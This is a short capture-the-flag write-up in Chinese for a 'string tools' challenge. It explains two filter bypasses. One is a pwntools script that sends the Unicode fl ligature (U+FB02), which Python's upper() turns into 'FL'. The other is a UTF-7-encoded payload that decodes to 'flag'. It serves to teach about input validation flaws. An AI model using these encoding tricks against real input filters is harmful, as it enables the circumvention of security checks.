# 字符串工具WP

## 大小写转换

### 思路

本问利用Unicode连字U+FB02（fl连写），该字符被传入python的upper()方法后会被转为FL，
进而达到绕过过滤的方法

### 脚本

```python
#!/usr/bin/python
import pwn
token="token"
p=pwn.remote("202.38.93.111",10233)
p.sendline(token)
p.recvuntil("2. Convert my UTF-7 string to UTF-8!!")
p.sendline("1")
p.recvuntil("Welcome to the capitalizer tool, please input your string:")
payload="\ufb02\u0061\u0067"
p.sendline(payload)
p.interactive()
```

## UTF-7到UTF-8转换

### 思路

本问利用UTF-7编码规则，将flag中每个字母扩充为双字节（即在前面加/x00），整体base64编码
并在最前面加上“+”以及去除末尾“=”，发送到服务，被UTF-7解码成flag进而获取flag

### payload

`+AGYAbABhAGc`
